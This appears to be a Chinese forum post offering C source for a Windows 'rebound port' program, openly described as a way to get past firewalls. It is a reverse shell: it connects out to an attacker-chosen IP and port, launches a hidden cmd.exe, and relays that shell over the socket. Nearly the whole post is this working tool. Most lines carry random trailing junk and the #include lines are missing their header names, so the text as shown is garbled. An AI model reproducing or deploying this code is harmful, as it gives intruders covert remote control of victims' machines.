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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2J^6(vk  
b[? 6/#N  
/* ============================== {7[^L1  
Rebound port in Windows NT !v<r=u  
By wind,2006/7 WZ'8{XY8  
===============================*/ p@/!+$^{  
#include ^.&uYF&  
#include 5Jd&3pO  
gfw,S;  
#pragma comment(lib,"wsock32.lib") OljUK,I]  
E:T<mI?d  
void OutputShell(); 9 bYoWw  
SOCKET sClient; ?ah-x""Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; oU% rP  
^IOf%  
void main(int argc,char **argv) NZ/gp"D?  
{ |8 c3%jve  
WSADATA stWsaData; o"R[#E&Yx  
int nRet; m:d P,  
SOCKADDR_IN stSaiClient,stSaiServer; ] NL-)8u  
kih;'>H<  
if(argc != 3) ZOK2BCoW  
{ YH&`+ +  
printf("Useage:\n\rRebound DestIP DestPort\n"); (Ybc~M)z  
return; ,>V|%tD'  
} s[NkPh9&  
EA|*|o4)  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2HoTj|  
'}e_8 FS  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eZIqyw  
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stSaiClient.sin_family = AF_INET; z4b2t}  
stSaiClient.sin_port = htons(0); {3@f(H m  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !JzM<hyg3  
;"-(QE?Mv  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _d 76jmujJ  
{ 0=#:x()e  
printf("Bind Socket Failed!\n"); 7/a[;`i*!  
return; tq H7M0Ry  
} " JFx  
"}!|V)K  
stSaiServer.sin_family = AF_INET; q,F\8M\$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f <fa +fB  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); aTuD|s  
t,#7F$t  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) t>N~PXr  
{ 6X~.J4  
printf("Connect Error!"); i#Io;  
return; #3>o^cN~8k  
} P}29wrIZ  
OutputShell(); =,$*-<p=3  
} t'|A0r$  
N4I`6uDgD  
void OutputShell() kfr' P u  
{ =e](eA;  
char szBuff[1024]; njtz,qt_;G  
SECURITY_ATTRIBUTES stSecurityAttributes; a\>+!Vq  
OSVERSIONINFO stOsversionInfo; X]8(_[Y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yhv(KI  
STARTUPINFO stStartupInfo; 1K?RA*aj  
char *szShell; ~U(`XvR\4  
PROCESS_INFORMATION stProcessInformation; `ltc)$  
unsigned long lBytesRead; Z8E-(@`q5Q  
#%O|P&rA  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y iO!ZT  
^\ A[^' 9  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {L~j;p_G&  
stSecurityAttributes.lpSecurityDescriptor = 0; nF>41 K  
stSecurityAttributes.bInheritHandle = TRUE; qmqWMLfC  
O2;FaASF  
$9+|_[ ]v.  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ">cLPXX  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G%^jgr)  
 9uR+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); waI?X2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p[R4!if2  
stStartupInfo.wShowWindow = SW_HIDE; 7f|8SB  
stStartupInfo.hStdInput = hReadPipe; 5;'(^z-bL  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2(LF @xb  
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GetVersionEx(&stOsversionInfo); -fpe  
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switch(stOsversionInfo.dwPlatformId) EyR~VKbJ'  
{ ~MWI-oK  
case 1: j5m KJC  
szShell = "command.com"; ?M!Mb-C[  
break; ypU-/}Cf,  
default: 6_|iXs(&  
szShell = "cmd.exe"; QO2@K1Y  
break; }`KK  
} U\*]cw  
'8%jA$o\g  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); OT 0%p)  
r$[`A_  
send(sClient,szMsg,77,0); "5<:Dj/W  
while(1) &1 /OwTI4J  
{ "DaE(S&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @k=UB&?I  
if(lBytesRead) _%g L  
{ fGZ56eH:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5aj%<r  
send(sClient,szBuff,lBytesRead,0); :eIi^K z[  
} $%BI8_  
else )<Fq}Q86  
{ /RVwhA+c  
lBytesRead=recv(sClient,szBuff,1024,0); U#V&=~-  
if(lBytesRead<=0) break; Tp46K\}Uf  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T:T`M:C.  
} 5(zdM)Y7  
} D:] QBA)C  
y1{TVpN  
return; o6tPQ (Vi  
}
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